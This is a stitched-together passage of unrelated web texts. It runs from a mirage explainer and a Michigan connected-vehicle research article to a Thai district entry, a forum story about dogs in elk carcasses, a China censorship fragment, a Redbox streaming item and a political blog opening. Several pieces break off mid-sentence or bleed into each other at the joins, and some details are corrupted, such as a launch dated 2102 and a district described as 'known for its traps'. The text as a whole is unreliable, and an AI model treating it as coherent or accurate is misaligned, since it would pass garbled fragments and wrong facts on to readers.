If the temperature gradient of the layer through which the light travels is constant with height -- that is, the temperature increases at a uniform rate -- no magnification or distortion of the object occurs. However, when the gradient is not uniform, and the temperature increases more rapidly with height as we move away from the surface, then magnification of the object will occur. In many circumstances, we see only a raising of the top of an object to just above its actual position. In such cases, the image appears to be stretched or taller than expected. This situation is called towering.
Towering Image Under
Superior Mirage Conditions
Towering is quite common in polar regions and during the summer near large bodies of relatively cold water when compared to the overlying air temperatures. Such situations are common along North America's Pacific Northwest coastline during the summer. Towering can make coastal mountains appear to rise and fall in height throughout the course of the day when seen from across cold ocean waters. The illusion formed is of the peaks looming higher, and thus the mountains appear closer than they actually are. This illusion can be quite hazardous to sailors navigating by sight alone by causing them to believe they are closer to shore than they actually are. Superior Mirage causes mountains to appear higher than they actually are. The dashed line indicates the actual mountain ridge line. The opposite of towering is stooping, a condition where the image appears shorter or further away than it actually is. Stooping occurs when the light from the bottom of the object bends more than the light from the top of the object on its way to the eye. By thus "raising" the lower part of the image more than the upper, the object appears compressed. Night-Time Mirages We tend to observe mirages most often during the daylight, but superior mirage conditions commonly occur during the night. Indeed, inversion formation is much more frequent during the night hours, at times occurring nightly for long stretches. The advent and spread of artificial light sources during the twentieth century, particularly moving light sources such as the headlights of cars and trucks, can produce some interesting visions. For example, the superior mirage could be the source for many nighttime UFO sightings. Here's why. The light from headlights on automobiles moving along the highway can be refracted under inversion conditions so that they appear to come from the heavens rather than from the surface where they originated. These images can appear to move quickly across the sky, or they can disappear suddenly as the angle or position of the light beam from the moving vehicle changes. The Arctic Mirage Since superior mirages are caused by cold air lying beneath relatively warmer air, they are most common and strongest in the Earth's polar regions where the surface is covered by ice or snow or cold seas for most of the year. The arctic mirage is a term that has been applied to superior mirages in northern polar latitudes, particularly when the conditions alter the appearance of the earth's horizon to allow us to see objects that actually are located well beyond or below the geometric horizon. Also know as the hillingar in Icelandic, the arctic mirage generally forms under conditions of a uniform and widespread temperature inversion. When the temperature rises at a rate of 11 Celsius degrees per 100 metres (6 Fahrenheit degrees per 100 feet), the Earth's horizon will appear flat. If the inversion becomes stronger, the horizon will then appear to rise vertically from the flat position. Thus, when the inversion gradient reaches 18 C deg/100 m (10 F deg/100 ft), the observer will have the illusion of being in a saucer -- that is, the horizon appears as turned upward. Superior Mirage allows sight beyond the horizon: scale is greatly exaggerated. Many beliefs and legends of northern inhabitants and European explorers can be attributed to the arctic mirage, and the exploration of polar regions has been both enhanced and hindered by the condition. Many early explorers reported landscape features in polar regions that never really existed but were mere illusions. [For more on the arctic mirage see: The Arctic Mirage: An Aid to Discovery.] Arctic-type mirages are not confined only to regions north of 60 degrees latitude, however. Robert Greenler in his book Rainbows, Haloes and Glories reported on one interesting situation of superior mirage viewing on the night of 26 April 1977. When the residents of Grand Haven, Michigan looked westward that night across the relatively cold waters of Lake Michigan, they distinctly saw city lights and a flashing red beacon. But the nearest urban area westward from them was Milwaukee, Wisconsin, 120 km (75 miles) away, well below the geometric horizon and thus normally not visible. Their sightings were later confirmed to have been Milwaukee when a Grand Haven resident timed the blink rate of the flashing red light and linked it to the Milwaukee Harbor entrance beacon. (US Weather Service records also confirm that strong inversion conditions were indeed present that night.) The unseeable had indeed briefly become visible. The Fata Morgana When the temperature inversion is not as uniform as that found under arctic mirage conditions, a mirage known as the Fata Morgana or halgerndingar (in Icelandic) may appear. In a Fata Morgana mirage, distant objects and features at the horizon appear as spikes, turrets or towers, objects with great vertical exaggeration rising from the surface. Charles Earle Funk of Funk & Wagnell's Dictionary fame traced the origin of the name Fata Morgana to Italian poets who named what they saw rising up across the Strait of Messina after the fairy castles of Morgana. Literally, |
alert the driver to danger or traffic. Devices in each car will store the data, and researchers at U-M will export and analyze the findings. The technology has the potential to lower collision rates and make vehicle transportation a large, interconnected system. U-M began this research with roughly 2,800 cars in August 2012 after receiving an 18-month grant from the U.S. Department of Transportation. USDOT extended the contract by six months and has promised to renew the project, known nationally as the Safety Pilot, for three years when the existing agreement expires in September. USDOT funded $28 million of the initial $31 million startup cost of the study, and U-M officials expect the federal government to commit upwards of $10 million (but as much as $18 million) for the project's next stage. U-M is looking for industry funding partners to triple the size of the study by 2016. After that, U-M and the Michigan Department of Transportation want to expand the number of connected cars to 20,000, grow the territory considered to all of Southeast Michigan and install wireless technology in infrastructure along major corridors, such as I-94, I-96, M-75 and M-74. Although large and ambitious in scope, the safety pilot is just one aspect of a burgeoning surge in automotive research that has occurred in the Ann Arbor area in recent years. Along with the safety pilot, U-M has launched a Mobility Transportation Center that propelled plans for a
near North Campus and the old Pfizer complex U-M retrofitted into a hub for interdisciplinary medicine and engineering research and calls the North Campus Research Complex (NCRC). Though small in size at 30 acres, U-M has big plans for the track, which includes house facades and streetlights and fake parking meters and handicapped signs — all equipped with wireless technology. The school will conduct its own V2V research and autonomous vehicle testing there, but it also wants to entice companies — like the Big Three and other automotive developers — to test their technology at the facility. Wallbridge, Inc., has announced plans to invest millions — with estimates reaching into the nine figures — into the defunct Willow Run Powertrain Plant in Ypsilanti in order to turn it into a
and test track for hire. The federal government is likely to require that V2V technology be integrated in new vehicles within the decade, and Wallbridge is hoping to position the plant as hub for regulatory testing. U-M will build its facility in the next year, while the Willow Run proposal is at least three years in the future. Meanwhile, in 2013 Toyota announced a $28 million investment in its Ann Arbor Technical Center, where the company develops the engineering design for many of its vehicles and also conducts wireless and autonomous testing. Hyundai in 2012 announced a $15 million expansion to its Washtenaw County technical center, a move that added 50 jobs to the area. Toyota has been testing driverless vehicle technology on the open road of Ann Arbor for the past two years, and the company regularly takes advantage U-M's nascent "laboratory" of wirelessly connected vehicles and infrastructure in Ann Arbor. "We do a lot of our own product development, but ultimately we have to have our vehicles talking to vehicles of other manufacturers," said Bruce Brownlee, a senior executive administrator at the Toyota Technical Center. "So collaborative activity is very important, so that we can make sure we are in-sync."
Companies coming in
On a recent weekday Jim Sayer scrolled through his smartphone in his third-floor office in Building 500 of the NCRC. He ticked off a list of companies he'd met and spoken with that week, each wanting to learn more about the safety pilot project, which he manages. A major foreign car manufacturer. A telecommunications company. A tier-one auto parts supplier. A data services company. Another foreign auto manufacturer. This list was long, and growing longer. "We've got people coming in almost daily," he said. "It's nuts right now, in terms of the amount of interest this is generating." Sayer has led the safety pilot for three years, but he began seeing an uptick in interest in February, after the federal government announced it would eventually require connected vehicle technology in all new automobiles. Not only did the announcement pique the interest of major car manufacturers, but it also spurred wireless communication and security developers to consider the possibilities for aftermarket devices. "As soon as the USDOT made that commitment... there was a huge flood of companies that wanted to find out what this is all about," Sayer said. Yet other regions are also vying to be the next hub of futuristic automotive technology. There is a connected vehicle project in Virginia, and it sits near the regulators who make decisions in Washington, D.C. Texas and Florida, where there is an abundance of sunshine, are also beds of automotive research. Even those with the most limited knowledge of cars know that Google is testing its diverless vehicles on the open roads of Nevada and California. Silicon Valley on the sunny West Coast is a garden of ideas and talent that sprouts new tech companies with breathless frequency. Michigan, as a region, is worried the valley will wrest the automobile's future from its birthplace. The Michigan Department of Transportation, car companies and U-M are all making investments to keep the region relevant. The state this year loosened restrictions on autonomous car testing on public roads, hoping to entice companies frustrated with tighter restrictions in other states. "We are better positioned than any other region in the United States," said Paul Krutko, president of Ann Arbor Spark. "Now this is an opportunity we could lose if we don't make investments. You can't take this stuff for granted. We've got to build on our strengths. We've got to realize the whole paradigm is changing from the way we have traditionally used and driven cars." When the major companies like Wallbridge are considering where to build their next facility, people like MDOT director Kirk Steudle want it to be in Michigan. When the U.S. government is considering pouring $70 million into lightweight and modern metals manufacturing, the Big Three — Ford, General Motors, Chrysler — want it to be in Michigan. Faroog Ibrahim is director of software engineering at Savari Networks, an intelligent transportation systems company based out of Santa Clara, Calif. His company provides technology for the safety pilot study, and Ibrahim works closely with researchers at U-M. After more than two years of traveling between California and Michigan and doing a lot of work remotely, Savari opened a satellite office in Farmington Hills in February. The office employs five people. Ibrahim said it wasn't just Savari's existing work with the safety pilot, or the fact that the Big Three call the region home, that drew his company to Southeast Michigan, but also the belief that future automobile innovation would take place in the Midwest. "Michigan is the home of connected vehicles. The original equipment manufacturers are here. The model deployment is here. The Collision Avoidance Metrics Partnership is here," he said. "That's why we opened here." The Collision Avoidance Metrics Partnership, or CAMP, is a consortium of eight major automobile manufacturers that work together to share advances in safety technology. In a competitive industry where innovation is usually held close to the chest, CAMP exists to make sure that life-saving innovation — a category in which many engineers classify V2V technology — is shared, within reason. In the initial stage of the safety pilot, CAMP contributed 64 cars to the study. The eight car manufacturers each contributed eight cars with V2V technology embedded within their operating systems. For the first 18 months, those cars were the heart of the study, and manufacturers are using findings from the study to inform advancements for market vehicles. As Sayer scrolled through the list of companies visiting U-M, he outlined the pitch he gives when there's an automotive CEO sitting across from him in his office, instead of a reporter. Companies, he says, look to Ann Arbor because it is the largest test bed in the world for V2V technology. "We have this unique test facility right in the middle of the city so that companies can come, they can test their systems in a very well controlled, safe environment, and when they're confident it's safe to test on the roads... there it is: an entire connected city with 9,000 vehicles and devices." Steudle, the director of MDOT, was attending the Transportation Research Arena conference in France when an autonomous vehicle expert based out of London approached him. "'You guys are the international lead,'" Steudle recalls the expert saying. "Michigan is where this research is most developed," he said from Paris, during a phone interview. "My counterparts in [other] states, when we announced what we were doing in vehicle research, they just looked at me and their jaws were on the table. They were thinking 'How are we going to get around them now?' They're jealous of the resources we have, that the automobile manufacturers are right here."
Collaboration
Edwin Olson, in his office inside Building 500, sits side-by-side with Ford engineers. He's part of a Ford-funded Next Generation Project that's developing autonomous vehicles using radar and lidar, a sensor technology that analyzes light to measure distance. His partnership with Ford is an industry collaboration that U-M wants other researchers to imitate. In fact, much of its Mobility Transformation Center is dependent on industry funding. The school estimates that MTC will infuse Southeast Michigan with $100 million in automotive research, with more than half of that funding coming from industry. On a warm spring day on NCRC's grounds he points to four sensors on top of the autonomous Ford Focus his team has helped develop and test. The short, spherical sensors rotate as they analyze the light reflections in the immediate area. Each one costs $30,000. Inside the vehicle is a black box that holds $100,000 worth of radar technology. Where there are normally cup holders near the driver, there is a large red emergency button. Press it and the vehicle stops. The sensors have a lot of sun and light to work with on this bright, cloudless day. In California there are a thousand days like this one — no rain in the forecast, no snow on the ground. But in Michigan, especially of late, clear days are a commodity — a fact that can make futuristic vehicle research difficult but, in an ironic twist of fate, may well be advantageous to auto developers. "Weather is one of the really interesting advantages of being in Michigan. The bay area is beautiful. What's the forecast for tomorrow? Beautiful. And the day after that? Beautiful." Olson said. "We have snow. We have rain, sleet, fog, exhaust, clouds.... One of the challenges we're tackling is how do you make the vehicle robust to these types of conditions." In the absence of a track, Olson's team tests the vehicle in parking lots outside of Building 500 and in gravel lots on the edge of campus. Like nearly every U-M affiliate who talks about U-M's planned $6.5 million track, Olson highlights that the facility is the first of its kind. By mimicking a real-life driving environment with things like handicapped signs and fire hydrants, the track isn't a clean oval; instead, it's a winding, cluttered lab. Huei Peng, associate director of the Mobility Transformation Center, says one of the hurdles facing mobility advancement in Southeast Michigan is the secrecy of industry players. "Auto companies are used to being very competitive," he said. "If you say this is pre-competitive and let's work together to create a laboratory and find out the standard and regulation needs for pushing this forward, sometimes the companies do collaborate with each other, but a lot of times, because of the competitive nature of the industry, they guard against each other and try to keep everything to themselves." He added: "To a certain extent that's why universities should take the lead pushing something. If we don't come out to push for the pre-compeitive work, and we leave it to them, it will be slower because of the trust issue." Stephen Forrest retired from his role as vice president of research at U-M in January. Forrest is a physicist who, even in his leadership post, churned out several invention disclosures each year. His goals for the mobility project were just as ambitious as his goals in the lab. When the safety pilot was launched in 2102, one could often hear Forrest saying that he wanted
For many involved in advanced automotive research, however, there's not so much of a push to mimic Silicon Valley as there is to keep the valley from eclipsing Michigan. "There is a possibility that the center of mass of autonomous research could move to Silicon Valley if we didn't do something about it," Olson said. "You've got Tesla and Google there. They're high visibility, they're well capitalized and they've got budgets to hire a lot of people." He added: "The sense of urgency is really built on the idea that they haven't won yet. We have a great research corridor. A little bit of money right now, intelligently invested, could have a huge impact on keeping the center of mass here."
Leadership
Three floors down from Sayer's office are two large, industrial garages. They look like the kind of garages in which mechanics fix mufflers or change oil. Instead, technicians install wireless devices in volunteers' cars, paying each volunteer between $200 and $400 a year to participate in the safety pilot study. In the garage early in the morning of April 10 was a blue Honda Civic, and a crew of three casually dressed workers were uninstalling V2V devices and front and rear cameras that recorded the driver's view and also the driver's reactions. The Civic's owner had participated in the study for a year and didn't want to be involved anymore. Dillon Funkhouser, a research associate with the safety pilot, said scientists are still making improvements to the wireless technology. Safety alerts are somewhat unreliable. GPS locaters in the study need to be more accurate. Funkhouser pointed to two motorcycles at the edge of the garage. Each had a big, black, simple-looking box mounted near the handlebars. Inside the box were V2V communication systems that could send signals to other wired vehicles. There are six of those in the safety pilot, Funkhouser said.
In two years, the number of vehicles in the study will, researchers hope, triple, and the technology being tested will become more refined. As that growth occurs, Funkhouser and other administrators of vehicle research at U-M are watching to see if other companies follow Savari's path and open up shop in Michigan. "There was so much uncertainty initially about whether it would be successful or not," Funkhouser said of the safety pilot, "that I think companies were hesitant to put a lot of investment in it. Now that we've secured three more years of USDOT funding and the Mobility Transportation Center is launching, I would expect that companies will set up development offices here and work in this environment. That's how we've always conceived this: an economic development opportunity to bring businesses here," he continued. "It's yet to be seen, though, if that will work."
Kellie Woodhouse covers higher education for the Ann Arbor News. Reach her at [email protected] and follow her on twitter.South Korea. This article is about the district in Thailand. It is not to be confused with Hang-dong neighborhood in Seoul
District in Chiang Mai, Thailand
Hang Dong (Thai: หางดง, pronounced [hǎːŋ dōŋ]) is a district (amphoe) of Chiang Mai Province in northern Thailand, known for its traps
Geography [ edit ]
Neighboring districts are (from the southwest clockwise) San Pa Tong, Mae Wang, Samoeng, Mae Rim, Mueang Chiang Mai, Saraphi of Chiang Mai Province, and Mueang Lamphun of Lamphun Province.
The village Ban Tawai (บ้านถวาย) in Khun Khong sub-district is known for its handicraft center, as wood carving has been a local speciality since the 1960s.[citation needed]
History [ edit ]
Before 1917, the district was named Mae Tha Chang (แม่ท่าช้าง).[1] 1938 the district was downgraded to a minor district (king amphoe) and made subordinate to Mueang Chiang Mai District.[2] In 1947 it was elevated to full district status again.[3]
Administration [ edit ]
Central administration [ edit ]
Hang Dong is divided into 11 sub-districts (tambons), which are further subdivided into 109 administrative villages (muban).
Local administration [ edit ]
There are 10 sub-district municipalities (thesaban tambons) in the district:
Nong Tong Phatthana (Thai: เทศบาลตำบลหนองตองพัฒนา ) consisting of sub-district Nong Tong.
) consisting of sub-district Nong Tong. Hang Dong (Thai: เทศบาลตำบลหางดง ) consisting of parts of sub-district Hang Dong.
) consisting of parts of sub-district Hang Dong. Mae Tha Chang (Thai: เทศบาลตำบลแม่ท่าช้าง ) consisting of parts of sub-district Hang Dong.
) consisting of parts of sub-district Hang Dong. Nong Kaeo (Thai: เทศบาลตำบลหนองแก๋ว ) consisting of sub-district Nong Kaeo.
) consisting of sub-district Nong Kaeo. Han Kaeo (Thai: เทศบาลตำบลหารแก้ว ) consisting of sub-district Han Kaeo.
) consisting of sub-district Han Kaeo. Ban Waen (Thai: เทศบาลตำบลบ้านแหวน ) consisting of sub-district Ban Waen.
) consisting of sub-district Ban Waen. San Phak Wan (Thai: เทศบาลตำบลสันผักหวาน ) consisting of sub-district San Phak Wan.
) consisting of sub-district San Phak Wan. Nong Khwai (Thai: เทศบาลตำบลหนองควาย ) consisting of sub-district Nong Khwai.
) consisting of sub-district Nong Khwai. Ban Pong (Thai: เทศบาลตำบลบ้านปง ) consisting of sub-district Ban Pong.
) consisting of sub-district Ban Pong. Nam Phrae Phatthana (Thai: เทศบาลตำบลน้ำแพร่พัฒนา ) consisting of sub-district Nam Phrae.
There are two sub-district administrative organizations (SAO) in the district:
Khun Khong (Thai: องค์การบริหารส่วนตำบลขุนคง ) consisting of sub-district Khun Khong.
) consisting of sub-district Khun Khong. Sop Mae Kha (Thai: องค์การบริหารส่วนตำบลสบแม่ข่า ) consisting of sub-district Sop Mae Kha.
Gallery [ edit ]
Wat Ton Kwaen, Hang Dong, (c. 1858), 8 km SW of Chiang Mai's walls
Wihan, Wat Ton Kwaen
Interior view of the wihan
Further reading [ edit ]
"Wat Ton Kwen and Wat Hang Dong: Two Hidden Gems of Lan Na Architecture", in Forbes, Andrew, and Henley, David, Ancient Chiang Mai v 4. Chiang Mai, Cognoscenti Books, 2012. ASIN: B006J541LE
References [ edit ]A CHAOS MANOR SPECIAL REPORT Monday, November 26, 2007 This was sent to me as is: I make no comments. DOGS IN ELK
Follow On
Authenticity of this story From: Edward Hume <[email protected]> Date: Sun, 21 Nov 1999 20:40:36 -0500 Subj: Dogs in elk ____________________________________________________________ I edited the follow-up thread The original is here:
http://www.gardenweb.com/forums/load/
party/msg101444109927.html?2 dogs in elk Posted by Anita z8 Seattle ([email protected]) on Fri, Oct 22, 99 at 14:44 The following apparently appeared recently on one of the newsgroups, rec.pets. It sounds pretty believable to me--though it's so funny, I'm not sure that I care. It's pretty long, but it's worth it. --------------------- Anne V - 01:01pm Sep 9, 1999 PDT (# 1318 of 1332) Okay - I know how to take meat away from a dog. How do I take a dog away from meat? This is not, unfortunately, a joke. AmyC - 01:02pm Sep 9, 1999 PDT (# 1319 of 1332) Um, can you give us a few more specifics here? Anne V - 01:12pm Sep 9, 1999 PDT (# 1320 of 1332) They're inside of it. They crawled inside, and now I have a giant incredibly heavy piece of carcass in my yard, with 2 dogs inside of it, and they are NOT getting bored of it and coming out. One of them is snoring. I have company arriving in three hours, and my current plan is to 1. put up a tent over said carcass and 2. hang thousands of fly strips inside it. This has been going on since about 6:40 this morning. AmyC - 01:19pm Sep 9, 1999 PDT (# 1321 of 1332) Oh. My. God. What sort of carcass is big enough to hold a couple of dogs inside? Given the situation, I'm afraid you're not going to be create enough of a diversion to get the dogs out of the carrion, unless they like greeting company as much as they like rolling around in dead stuff. Which seems unlikely. Can you turn a hose on the festivities? Ase Innes-Ker - 01:31pm Sep 9, 1999 PDT (# 1322 of 1332) I'm sorry Anne. I know this is a problem (and it would have driven me crazy), but it is also incredibly funny. Anne V - 01:31pm Sep 9, 1999 PDT (# 1323 of 1332) Elk. Elk are very big this year, because of the rain and good grazing and so forth. They aren't rolling. They are alternately napping and eating. They each have a ribcage. Other dogs are working on them from the outside. It's all way too primal in my yard right now. We tried the hose trick. At someone elses house, which is where they climbed in and began to refuse to come out. Many hours ago. I think that the hose mostly helps keep them cool and dislodges little moist snacks for them. hose failed. My new hope is that if they all continue to eat at this rate, they will be finished before the houseguests arrive. The very urban houseguests. Oh, god - I know it's funny. It's appalling, and funny, and completely entirely representative of life with dogs. Kristen R. - 01:37pm Sep 9, 1999 PDT (# 1324 of 1332) I'm so glad I read this thread, dogless as I am. Dogs in elk. Dogs in elk. Anne V - 01:41pm Sep 9, 1999 PDT (# 1325 of 1332) It's like that childrens book out there - dogs in elk, dogs on elk, dogs around elk, dogs outside elk. And there is some elk inside of, as well as on, each dog at this point. Elizabeth K - 01:57pm Sep 9, 1999 PDT (# 1328 of 1333) Anne, aren't you in Arizona or Nevada? There are elk there? I'm so confused! We definately need to see pics of Gus Pong and Jake in the elk carcass. Anne V - 02:03pm Sep 9, 1999 PDT (# 1329 of 1333) I am in New Mexico, but there are elk in both arizona and nevada, yes. There are elk all over the da*n place. They don't look out very often. If you stand the ribcage on end they scramble to the top and look out, all red. Otherwise, you kinda have to get in there a little bit yourself to really see them. So I think there will not be pictures. CoseyMo - 02:06pm Sep 9, 1999 PDT (# 1330 of 1333) "all red;" I'm not sure the deeper horror of all this was fully borne in upon me till I saw that little phrase. Anne V - 02:10pm Sep 9, 1999 PDT (# 1331 of 1333) Well, you know, the Basenji (that would be Jake) is a desert dog, naturally, and infamous for it's aversion to water. And then, Gus Pong (who is coming to us, live, unamplified and with a terrific reverb which is making me a little dizzy) really doesn't mind water, but hates to be cold. Or soapy. And both of them can really run. Sprints of up to 35 mph have been clocked. So. If ever they come out, catching them and returning them to a condition where they can be considered house pets is not going to be, shall we say, pleasant. CoseyMo - 02:15pm Sep 9, 1999 PDT (# 1332 of 1333) What if you stand the ribcage on end, wait for them to look out, grab them when they do and pull? Anne V - 02:18pm Sep 9, 1999 PDT (# 1333 of 1333) They wedge their toes between the ribs. And scream. We tried that before we brought the elk home from the mountain with dogs inside. Jake nearly took my friends arm off. He's already short a toe, so he cherishes the 15 that remain. Linda Hewitt - 02:30pm Sep 9, 1999 PDT (# 1336 of 1356) Have you thought about calling your friendly vet and paying him to come pick up the dogs, elk and letting the dogs stay at the vets overnight. If anyone would know what to do, it would be your vet. It might cost some money, but it would solve the immediate crisis. Keep us posted. ChristiPeters - 02:37pm Sep 9, 1999 PDT (# 1337 of 1356) Yikes! My sympathy! When I lived in New Mexico, my best friend's dog (the escape artist) was continually bringing home road kill. When there was no road kill convenient, he would visit the neighbor's house. Said neighbor slaughtered his own beef. The dog found all kinds of impossibly gross toys in the neighbor's trash pit. I have always had medium to large dogs. The smallest dog I ever had was a mutt from the SPCA who matured out at just above knee high and about 55 pounds. Our current dog (daughter's choice) is a Pomeranian. A very small Pomeranian. She's 8 months old now and not quite 4 pounds. I'm afraid I'll break her. Lori Shiraishi - 02:38pm Sep 9, 1999 PDT (# 1338 of 1356) Bet you could fit a whole lot of Pomeranians in that there elk carcass! Anne - my condolences on what must be an unbelievable situation! Anne V - 02:44pm Sep 9, 1999 PDT (# 1339 of 1356) I did call my vet. He laughed until he was gagging and breathless. He says a lot of things, which can be summed as *what did you expect?* and *no, there is no such thing as too much elk meat for a dog.* He is planning to stop over and take a look on his way home. Thanks, Lori. I am almost surrendered to the absurdity of it. Lori Shiraishi - 02:49pm Sep 9, 1999 PDT (# 1340 of 1356) "He is planning to stop over and take a look on his way home." So he can fall down laughing in person? Anne V - 02:50pm Sep 9, 1999 PDT (# 1341 of 1356) Basically, yeah. That would be about it. AmyC - 02:56pm Sep 9, 1999 PDT (# 1342 of 1356) No, there is no such thing as too much elk meat for a dog." Oh, sweet lo*d, Anne. You have my deepest sympathies in this, perhaps the most peculiar of the Gus Pong Adventures. You are truly a woman of superhuman patience. wait -- you carried the carcass down from the mountains with the dogs inside? Anne V - 02:59pm Sep 9, 1999 PDT (# 1343 of 1356) The carcass down from the mountains with the dogs inside? no, well, sort of. My part in the whole thing was to get really stressed about a meeting that I had to go to, and say *yeah, ok, whatever* when it was suggested that the ribcages, since we couldn't get the dogs out of them and the dogs couldn't be left there, be brought to my house. Because, you know - I just thought they would get bored of it sooner or later. But it appears to be later, in the misty uncertain future, that they will get bored. Now, they are still interested. And very loud, one singing, one snoring. Lori Shiraishi - 03:04pm Sep 9, 1999 PDT (# 1344 of 1356) And very loud, one singing, one snoring. wow. I can't even begin to imagine the acoustics involved with singing from the inside of an elk. Anne V - 03:04pm Sep 9, 1999 PDT (# 1345 of 1356) reverb. lots and lots of reverb. Anne V - 03:15pm Sep 9, 1999 PDT (# 1347 of 1356) I'll tell you the thing that is causing me to lose it again and again, and then I have to go back outside and stay there for a while. After the meeting, I said to my (extraordinary) boss, "look, I've gotta go home for the rest of the day, I think. Jake and Gus Pong are inside some elk ribcages, and my dad is coming tonight, so I've got to get them out somehow." And he said, pale and huge-eyed, "Annie, how did you explain the elk to the clients?" The poor, poor man thought I had the carcasses brought to work with me. For some reason, I find this deeply funny. (weekend pause) Anne V - 08:37am Sep 13, 1999 PDT (# 1395 of 1405) So what we did was put the ribcages (containing dogs) on tarps and drag them around to the side yard, where I figured they would at least be harder to see, and then opened my bedroom window so that the dogs could let me know when they were ready to be plunged into a de-elking solution and let in the house. Then I went to the airport. Came home, no visible elk, no visible dogs. Peeked around the shrubs, and there they were, still in the elk. By this time, they had gnawed out some little portholes between some of the ribs, and you got the occasional very frightening glimpse of something moving around in there if you watched long enough. After a lot of agonizing, I went to bed. I closed the back door, made sure my window was open, talked to the dogs out of it until I as sure they knew it was open, and then I fell asleep. Sometimes, sleep is a mistake, no matter how tired you are. And especially if you are very very tired, and some of your dogs are outside, inside some elks. Because when you are that tired, you sleep through bumping kind of noises, or you kind of think that it's just the house guests. It wasn't the house guests. It was my dogs, having an attack of teamwork unprecedented in our domestic history. When I finally woke all the way up, it was to a horrible vision. Somehow, 3 dogs with a combined weight of about 90 pounds, managed to hoist one of the ribcages (the meatier one, of course) up 3 feet to rest on top of the swamp cooler outside the window, and push out the screen. What woke me was Gus Pong, howling in frustration from inside the ribcage, very close to my head, combined with feverish little grunts from Jake, who was standing on the nightstand, bracing himself against the curtains with remarkably bloody little feet. Here are some things I have learned, this Rosh Hashanah weekend: 1. almond milk removes elk blood from curtains and pillowcases, 2. We can all exercise superhuman strength when it comes to getting elk carcasses out of our yard, 3. The sight of elk ribcages hurtling over the fence really frightens the nice deputy sheriff who lives across the street, and 4. the dogs can pop the screens out of the windows, without damaging them, from either side. Anne V - 09:58am Sep 13, 1999 PDT (# 1401 of 1405) What I am is really grateful that they didn't actually get the damn thing in the window, which is clearly the direction they were going in. And that the nice deputy didn't arrest me for terrifying her with elk parts before dawn. AmyC - 09:59am Sep 13, 1999 PDT (# 1402 of 1405) Imagine waking up with a gnawed elk carcass in your bed, like a real-life "Godfather" with an all-dog cast. Anne V - 10:01am Sep 13, 1999 PDT (# 1403 of 1405) There is not enough almond milk in the world to solve an event of that kind. Follow-Up Postings: RE: dogs in elk * Posted by: Andrew ([email protected]) on Fri, Oct 22, 99 at 15:18 Edible pet carriers. You might be on to something here. RE: dogs in elk * Posted by: suzy ([email protected]) on Fri, Oct 22, 99 at 17:07 my daughter's two big dogs used to carry around dead mummified g'hogs...and thigh bones from butchered cows and the occasional deer. their most fav activity in the whole world was running out the back door in the morning and rolling in cow plops. RE: dogs in elk * Posted by: Becky the DD ([email protected]) on Fri, Oct 22, 99 at 18:55 And I thought my golden retriever was bad for eating the occasional baby bird! RE: dogs in elk * Posted by: Dawn ([email protected]) on Wed, Nov 3, 99 at 20:24 Hey, free food for the dogs. We feed our dogs a raw diet, and I wouldn't have to feed them for MONTHS!!! I just doubt that ours would get along long enough to eat any. My poor husband, working in the other room while I sit here laughing like this. Thanks, I needed a good laugh. RE: dogs in elk * Posted by: Wally L. Speers ([email protected]) on Wed, Nov 3, 99 at 22:49 Ha,ha,ha...I'll never be able to eat ribs again without thinking of this story. I only hope I don't choke while thinking about it. RE: dogs in elk * Posted by: Jeff ([email protected]) on Fri, Nov 5, 99 at 17:24 I will go right out and start training my papillon and pomeranian. "No elk. Bad boy! Bad girl! Here's a treat. No elk. DROP!! DROP!! Good boy and girl". RE: dogs in elk * Posted by: Barbara ([email protected]) on Sun, Nov 7, 99 at 10:37 I got word of this site through our dog behaviour problems list! wonder what the advice for Anne would have been from that forum? RE: dogs in elk * Posted by: Anita z8 Seattle ([email protected]) on Mon, Nov 8, 99 at 12:44 A note to some of those who responded: I am not Anne V. I did not write this. This story was forwarded to me by someone who claims to have found it on the newsgroup rec.pets (as I said at the beginning of the posting). If you want to contact Anne V., I suggest that you go to rec.pets, search for this thread, and get her email address there. Thanks. RE: dogs in elk * Posted by: Sandy B ([email protected]) on Mon, Nov 8, 99 at 21:07 Ohmigod, ohmigod, ohmigod. I got this off a raw diet list, which really makes it funny. Can't believe none of the Basenji lists have found it yet. They will tonight!!! Maybe they have and haven't passed it on because it is too much like "just another day with a Basenji" type thing. Only thing I wonder about at this point, was there one or two ribcages? Sometimes it seemed like she was infering each dog had its own cage. RE: dogs in elk * Posted by: Kay Eldred ([email protected]) on Tue, Nov 9, 99 at 1:21 There are no Elk here in Australia but I spent a few years in Canada so know the size of the animal involved. I have had Basenjis for 26 years and this has to be one of the funniest stories I have every read with regard to this wonderful unique breed. Mine have hunted possums snakes and many small creatures - but elk!! RE: dogs in elk * Posted by: Andie ([email protected]) on Wed, Nov 10, 99 at 12:37 Well.. I have never read anything this funny! It's jus so good - and so typically "dog"! I never thought anything could be worse than the day my Golden Lab, Lucas, rolled in a very |
the U.S. agreed with Xia's assessment. Xia, who is a practitioner of Falun Gong, has been an anti-censor advocate since he moved to the United States in the 1990s.
The Post's article raises questions about what Sophidea, the company in Cheyenne, Wyoming, has to do with the blackout in China. Web searches of the IP addresses of Sophidea and Xia's company turn up identical numbers: 65.49.2.178. It's possible that some of these Web sites do not have the latest information, or that Sophidea and Xia's company have some kind of relationship. But what appears to be yet unproven is whether all that traffic from China landed in Sophidea's lap and whether it literally went to Wyoming.
Also from The Switch: Watch a movie with Google glasses? Get a four-hour interrogation
Related: When China censors the web -- and whyBack in February, we heard tell that Verizon was teaming up with Coinstar (maker of those Redbox DVD rental kiosks you see everywhere) to develop a streaming and physical media service not unlike Netflix. Now, it appears that the service--dubbed “Redbox Instant by Verizon ”--is in the offing.GigaOM uncovered some key details of the new service, including the fact that it’s still in private beta. After stumbling across Redbox Instant by Verizon’s beta Help page (the link to which has subsequently been removed from public view), GigaOM offered up some interesting details.For starters, the service will start at just $6 per month, which undercuts Netflix’s $7.99 streaming-only plan. For $8, actually, users can get streaming plus credits toward physical Redbox DVD rentals. VOD will be available for offline viewing starting at $0.99. Expect Redbox Instant to be available via the Web and on a slew of devices including iOS and Android devices, Xbox 360, and even some of Samsung’s TVs and Blu-ray players.It also appears that Redbox Instant by Verizon could be available as early as December 17th, although the report seems to be inferring quite a bit, based on the evidence.Bear in mind that these sorts of features and pricing structures can be changed significantly between the beta phase and its public debut (such as perhaps the clunky name), so take the above with a grain of salt. Still, it should be interesting to see how another streaming service--and one with a physical presence in and around brick-and-mortar stores--plays out against the likes of Netflix and Hulu.Mark Tapscott thinks he sees a tipping point in the month-and-a-half-old Obama Administration:
Did you feel it? The political ground shifting beneath President Barack Obama since his speech last week to Congress? It’s been downhill since and I’m not referring mainly to the Dow Jones record-setting dive. The pivot point of the shift was the speech, or rather what the speech did to the evolving public narrative of Obama.
